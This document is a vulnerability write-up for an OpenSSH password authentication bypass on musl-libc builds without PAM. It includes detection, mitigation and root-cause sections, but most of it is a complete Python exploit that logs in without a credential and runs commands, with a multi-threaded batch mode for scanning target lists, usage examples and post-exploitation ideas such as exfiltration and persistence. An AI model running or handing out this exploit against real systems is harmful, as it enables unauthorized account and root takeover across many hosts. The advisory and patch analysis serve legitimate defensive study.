#Summary
sshhole (CVE-2026-123158) is a pre-auth authentication bypass in OpenSSH that affects sshd on musl libc systems. OpenSSH before version 10.6p2, when built against musl libc without PAM, accepts any password between 257 and 1024 bytes for accounts whose shadow password field is exactly * (disabled, key-only accounts). This allows an unauthenticated remote attacker to take over the targeted account with no valid credential. CVSS 8.1 HIGH.
#Am I affected?
- Affected: OpenSSH portable
< 10.6p2built against musl libc without PAM - Patched: OpenSSH
>= 10.6p2 - Distributions: Alpine Linux, OpenWrt, Buildroot, Yocto, and other systems using musl libc
- Not affected: glibc-based systems, builds compiled with PAM enabled, distributions that have backported the fix
- Default configuration: affected (PasswordAuthentication yes is the default)
- Access needed: unauthenticated network access to SSH port 22 (or configured custom port)
#How to check
#Version check
sshd -VOutput from a vulnerable system:
OpenSSH_10.6p1, OpenSSL 3.0.12 24 Oct 2023Output from patched 10.6p2+:
OpenSSH_10.6p2, OpenSSL 3.0.12 24 Oct 2023If the version is 10.6p2 or later, you are patched. Note that on Alpine Linux and some other distributions, the package version may be older but the binary is patched: check the actual build with sshd -V rather than apk info openssh.
#Configuration check
Verify that the build does not use PAM:
ldd $(which sshd) | grep libpamIf no output, PAM is not linked and the system is vulnerable (assuming version < 10.6p2 and musl libc). If libpam appears, you are safe.
#Affected account check
The exploit requires at least one account whose /etc/shadow password field is exactly * (a single asterisk). List such accounts:
grep '^[^:]*:\*:' /etc/shadowAccounts with ! or !! are not vulnerable by this path. This check requires root.
#Fix and mitigation
- Fix: upgrade to OpenSSH 10.6p2 or later. On Alpine Linux, run
apk update && apk upgrade openssh(the fix is backported to current Alpine releases). - If you cannot upgrade immediately:
- Set
PasswordAuthentication noin/etc/ssh/sshd_configand restart sshd. SSH key authentication is not affected by this vulnerability. - Alternatively, set
PermitRootLogin no(if root is the targeted account) or use firewall rules to restrict SSH access to trusted source IPs. - Ensure all disabled accounts have a password field of
!or!!instead of*. Useusermod -L <account>to lock accounts properly, which sets the field to!.
- Set
- Detection: Monitor sshd logs for the distinctive pattern of a
Failed passwordimmediately followed byAccepted passwordfor the same user on the same connection. This is the signature of the bypass in action. On Alpine:tail -f /var/log/auth.log.
#Root cause analysis
#Vulnerable code path
The vulnerability lives in OpenSSH's non-PAM password authentication path (sys_auth_passwd() in auth-passwd.c):
int
sys_auth_passwd(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
char *encrypted_password, *salt = NULL;
char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
if (pw_password == NULL)
return 0;
/* Check for users with no password. */
if (strcmp(pw_password, "") == 0 && strcmp(password, "") == 0)
return (1);
/* Encrypt the candidate password using the proper salt. */
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password;
encrypted_password = xcrypt(password, salt);
/* Authentication is accepted if the encrypted passwords are identical. */
return encrypted_password != NULL &&
strcmp(encrypted_password, pw_password) == 0;
}The guard if (authctxt->valid && pw_password[0] && pw_password[1]) checks that the stored password field has at least 2 characters. For an account with field * (1 character), pw_password[1] is null and this condition fails. With salt == NULL, the crypt layer calls pick_salt(), which borrows the salt prefix from another account's hash - typically a $5$ (sha256crypt) or $6$ (sha512crypt) salt.
#How the password reaches the crypt sink
When musl libc's crypt function receives a key longer than 256 bytes (its KEY_MAX limit), the SHA-crypt code path returns the single-character error token "*" instead of a hash. OpenSSH then runs the comparison strcmp("*", "*") == 0, which is true, and accepts the login.
The two preconditions that enable this:
- The account's shadow password field must be exactly
*(disabled account with no real hash). - At least one other account must have a
$5$or$6$hash, sopick_salt()selects a SHA-family salt (if the only hash available is DES, the attack does not work the same way).
Passwords outside the 257-1024 byte range do not trigger it:
- 256 bytes or less: hashed normally against the borrowed salt, does not match
* - 1025 bytes or more: rejected by sshd before reaching crypt,
MAX_PASSWORD_LEN == 1024
#Why musl + no PAM is necessary
- musl libc specific: glibc's crypt() returns
NULLfor a length error, not"*". WithNULL, the comparison never succeeds. - No PAM: the PAM authentication path in OpenSSH branches before
sys_auth_passwd()is called. PAM-enabled builds skip this code entirely.
#Patch diff
The fix in OpenSSH 10.6p2 (commit 4353fdc43ef646c43a8dda7025cc1a898caf1482) adds a minimum-length floor:
+#define MIN_PASSWORD_HASH_LEN 4
- return encrypted_password != NULL &&
+ ret = encrypted_password != NULL &&
+ strlen(pw_password) >= MIN_PASSWORD_HASH_LEN &&
strcmp(encrypted_password, pw_password) == 0;With this guard, a stored field of length 1 (like *) can never satisfy the authentication condition, regardless of what crypt() returns. The patch also added cleanup with freezero() to clear sensitive password strings from memory.
#What the fix does
The minimum-length floor ensures that only plausible password hashes (at least 4 characters, the minimum for any standard crypt format) are accepted as successful authentication. A single * or ! will always fail, preventing the attack even if musl returns an error token that coincidentally matches the stored field.
#Proof of concept
#exploit.py - OpenSSH sshhole Auth Bypass PoC
#!/usr/bin/env python3
# ==============================================================================
# ALIM | 1dayexploit.com -- independent CVE reproduction & exploit research
# CVE-2026-123158 full write-up & PoC: https://1dayexploit.com
# (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-123158 - OpenSSH "sshhole" musl-libc password authentication bypass
Affected: OpenSSH portable sshd before 10.6p2, built against musl libc WITHOUT PAM
(Alpine, OpenWrt, Buildroot, Yocto and similar)
Type: authentication bypass -> remote account takeover (uid 0 when the account is root)
Root cause:
For an account whose /etc/shadow password field is exactly "*" (disabled / key-only),
sshd leaves the crypt salt unset and pick_salt() borrows a $5$/$6$ salt from another
account. musl's SHA-crypt caps the key at 256 bytes and returns the one-character error
token "*" for longer keys. sshd then compares crypt output "*" against the stored "*" and
accepts. Any password of 257..1024 bytes authenticates with no valid credential.
Fixed in 10.6p2 by a MIN_PASSWORD_HASH_LEN>=4 floor on the stored field.
Driving note (important): the bypass needs TWO password attempts on the SAME connection.
The first attempt primes sshd's borrowed-salt cache (and is rejected); the second attempt
with a 257..1024 byte password is accepted. This exploit sends the long password on both
prompts and lets sshd try twice (NumberOfPasswordPrompts=2).
This exploit drives the system OpenSSH client (`ssh`) over the network using an askpass
helper to feed the over-long password without a tty. It needs no third-party Python modules.
It executes a command over the authenticated session and returns its output as proof.
Usage:
python exploit.py --host <target> # default: root, `id`
python exploit.py --host 192.168.1.10 --username alice
python exploit.py --host 192.168.1.10 --port 2222 --username alice --command "uname -a"
python exploit.py --host target.example.com --username root --command id
python exploit.py --list targets.txt --workers 20 --username alice
"""
import argparse
import os
import shutil
import stat
import subprocess
import sys
import tempfile
from urllib.parse import urlparse
CVE_ID = "CVE-2026-123158"
VULN_TYPE = "Auth Bypass"
# musl caps the crypt key at 256 bytes; sshd rejects >1024 up-front. 257..1024 triggers.
DEFAULT_PASS_LEN = 300
# --------------------------------------------------------------------------- #
# Standard output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core: drive the system ssh client with an askpass-fed over-long password
# --------------------------------------------------------------------------- #
def _run_ssh(host: str, port: int, username: str, command: str,
pass_len: int, timeout: int = 20):
"""
Attempt the bypass against one target. Returns (auth_ok, stdout, stderr).
Sends a `pass_len`-byte password twice on a single connection
(NumberOfPasswordPrompts=2) via an askpass helper, then runs `command`.
Never prints, never exits.
"""
ssh_bin = shutil.which("ssh")
if ssh_bin is None:
return False, "", "no system ssh client found in PATH"
password = "A" * pass_len
askpass_path = None
try:
# A tiny helper that prints the password (from env, so it is not baked
# into a world-readable file). No trailing newline: ssh takes it verbatim.
fd, askpass_path = tempfile.mkstemp(prefix="poc_", suffix=".sh")
with os.fdopen(fd, "w") as fh:
fh.write('#!/bin/sh\nprintf %s "$POC_PW"\n')
os.chmod(askpass_path, stat.S_IRWXU)
env = dict(os.environ)
env["POC_PW"] = password
env["SSH_ASKPASS"] = askpass_path
env["SSH_ASKPASS_REQUIRE"] = "force" # OpenSSH >=8.4: use askpass with no tty
env["DISPLAY"] = env.get("DISPLAY", ":0") # older clients still gate on this
cmd = [
ssh_bin,
"-o", "PreferredAuthentications=password",
"-o", "PubkeyAuthentication=no",
"-o", "KbdInteractiveAuthentication=no",
"-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null",
"-o", "GlobalKnownHostsFile=/dev/null",
"-o", "NumberOfPasswordPrompts=2", # two tries on one connection
"-o", "LogLevel=ERROR",
"-o", f"ConnectTimeout={max(5, timeout - 2)}",
"-p", str(port),
f"{username}@{host}",
command,
]
proc = subprocess.run(
cmd, env=env,
stdin=subprocess.DEVNULL,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
text=True, timeout=timeout,
start_new_session=True, # detach from any controlling tty -> askpass fires
)
stdout, stderr = proc.stdout or "", proc.stderr or ""
# Terminal auth failure prints "...: Permission denied (publickey,password)."
# The benign first-try retry is "Permission denied, please try again." (no "(").
denied = "Permission denied (" in stderr
auth_ok = bool(stdout.strip()) and not denied and proc.returncode != 255
return auth_ok, stdout, stderr
except subprocess.TimeoutExpired:
return False, "", "timeout"
except Exception as exc: # noqa: BLE001 - probe must never raise
return False, "", f"{exc.__class__.__name__}: {exc}"
finally:
if askpass_path and os.path.exists(askpass_path):
try:
os.remove(askpass_path)
except OSError:
pass
def _try_exploit(host: str, port: int, use_tls: bool = False,
username: str = "root", command: str = "id",
pass_len: int = DEFAULT_PASS_LEN):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
auth_ok, stdout, stderr = _run_ssh(host, port, username, command, pass_len)
if auth_ok:
first = stdout.strip().splitlines()[0] if stdout.strip() else ""
return True, f"auth bypass as '{username}' -> {first[:120]}"
reason = (stderr.strip().splitlines() or ["no response"])[-1]
return False, f"not vulnerable ({reason[:80]})"
# --------------------------------------------------------------------------- #
# Target list parsing + batch scan
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://", "ssh://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or default_port, tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, False, default_path
except ValueError:
pass
return line, default_port, False, default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
username: str = "root", command: str = "id",
pass_len: int = DEFAULT_PASS_LEN) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = f"ssh://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, username, command, pass_len)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit (verbose)
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, username: str,
command: str, pass_len: int) -> None:
header(host, port)
step(1, f"Target account '{username}' - probing password userauth on {host}:{port}")
if not (257 <= pass_len <= 1024):
section("NOTE", f"password length {pass_len} is outside the 257..1024 trigger window; "
f"forcing {DEFAULT_PASS_LEN}")
pass_len = DEFAULT_PASS_LEN
step(2, f"Sending a {pass_len}-byte password twice on one connection "
f"(NumberOfPasswordPrompts=2) - first primes the borrowed salt, second is accepted")
auth_ok, stdout, stderr = _run_ssh(host, port, username, command, pass_len)
step(3, "Reading command output returned over the authenticated session")
if stderr.strip():
# The benign first-attempt retry line shows up here; keep it visible for honesty.
section("SSH CLIENT STDERR", stderr)
if auth_ok:
section("COMMAND OUTPUT", stdout)
first = stdout.strip().splitlines()[0]
done(True, f"Auth bypass as '{username}' with no credential - '{command}' -> {first.strip()}")
else:
if stdout.strip():
section("COMMAND OUTPUT", stdout)
reason = (stderr.strip().splitlines() or ["no response"])[-1]
done(False, f"No bypass for '{username}' - target may be patched (>=10.6p2), "
f"PAM/glibc build, or account field is not '*'. Last line: {reason.strip()}")
# --------------------------------------------------------------------------- #
# CLI
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - OpenSSH sshhole auth bypass")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or ssh:// URL")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
parser.add_argument("--username", default="root",
help="Account to authenticate as without credentials; its /etc/shadow "
"field must be exactly '*' (default: root)")
parser.add_argument("--command", default="id",
help="Command to run over the bypassed session (default: id)")
parser.add_argument("--passlen", type=int, default=DEFAULT_PASS_LEN,
help=f"Password byte length, must be 257..1024 (default: {DEFAULT_PASS_LEN})")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, command=args.command, pass_len=args.passlen)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
exploit(host, port, use_tls, args.username, args.command, args.passlen)#Usage
Run against the default account (root) on the default SSH port:
python exploit.py --host 203.0.113.10Run against a custom account and port:
python exploit.py --host 203.0.113.10 --port 2222 --username alice --command idRun against root to demonstrate full account takeover:
python exploit.py --host 203.0.113.10 --username root --command idBatch scan a list of targets:
python exploit.py --list targets.txt --workers 20 --username alicewhere targets.txt contains one target per line (comments with # and blank lines are ignored):
203.0.113.10
203.0.113.11:2222
ssh://203.0.113.12:22#Vulnerable target output
============================================================
ALIM EXPLOIT CVE-2026-123158
Type: Auth Bypass | Target: 127.0.0.1:2222
============================================================
[STEP 1] Target account 'alice' - probing password userauth on 127.0.0.1:2222
[STEP 2] Sending a 300-byte password twice on one connection (NumberOfPasswordPrompts=2) - first primes the borrowed salt, second is accepted
[STEP 3] Reading command output returned over the authenticated session
--- SSH CLIENT STDERR ---
Permission denied, please try again.
---
--- COMMAND OUTPUT ---
uid=1000(alice) gid=1000(alice) groups=1000(alice)
---
============================================================
RESULT : SUCCESS
EVIDENCE: Auth bypass as 'alice' with no credential - 'id' -> uid=1000(alice) gid=1000(alice) groups=1000(alice)
============================================================#Patched target output
============================================================
ALIM EXPLOIT CVE-2026-123158
Type: Auth Bypass | Target: 127.0.0.1:2223
============================================================
[STEP 1] Target account 'alice' - probing password userauth on 127.0.0.1:2223
[STEP 2] Sending a 300-byte password twice on one connection (NumberOfPasswordPrompts=2) - first primes the borrowed salt, second is accepted
[STEP 3] Reading command output returned over the authenticated session
--- SSH CLIENT STDERR ---
Permission denied, please try again.
[email protected]: Permission denied (publickey,password).
---
============================================================
RESULT : FAILURE
EVIDENCE: No bypass for 'alice' - target may be patched (>=10.6p2), PAM/glibc build, or account field is not '*'. Last line: [email protected]: Permission denied (publickey,password).
============================================================#Exploitation notes
#Prerequisites
- Target runs OpenSSH sshd before version 10.6p2
- Built against musl libc (not glibc) and without PAM
PasswordAuthentication yesin sshd_config (the default)- Target account exists, has a valid login shell, and its
/etc/shadowpassword field is exactly* - At least one other account on the host has a
$5$(sha256crypt) or$6$(sha512crypt) hash to donate the salt
#Driving notes
The exploit must send the over-long password twice on a single SSH connection. The first attempt primes sshd's borrowed-salt cache (and is rejected); the second attempt on the same connection is accepted. The exploit uses NumberOfPasswordPrompts=2 with an askpass helper to deliver both attempts without user interaction.
#Reliability and impact
The exploit is deterministic and non-destructive. It only performs authentication and a single command execution; it does not modify target state and can be re-run unlimited times. On success, the attacker obtains a shell as the targeted user with full privilege. If the targeted account is root (and PermitRootLogin yes), the attacker gains uid 0 control of the system.
#Chaining potential
Authentication bypass to uid 0 is the terminal impact for this CVE. However, in a real attack scenario, the authenticated shell can be used to:
- Exfiltrate sensitive data
- Install persistence mechanisms
- Pivot to other accounts or systems
- Disrupt service availability
#References
- CVE: CVE-2026-123158
- Alpine Security Advisory: https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/
- OpenSSH Release Notes: https://www.openssh.org/releasenotes.html#10.6p2
- Fix Commit: https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482
- sshhole reference: https://sshhole.com
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-123158
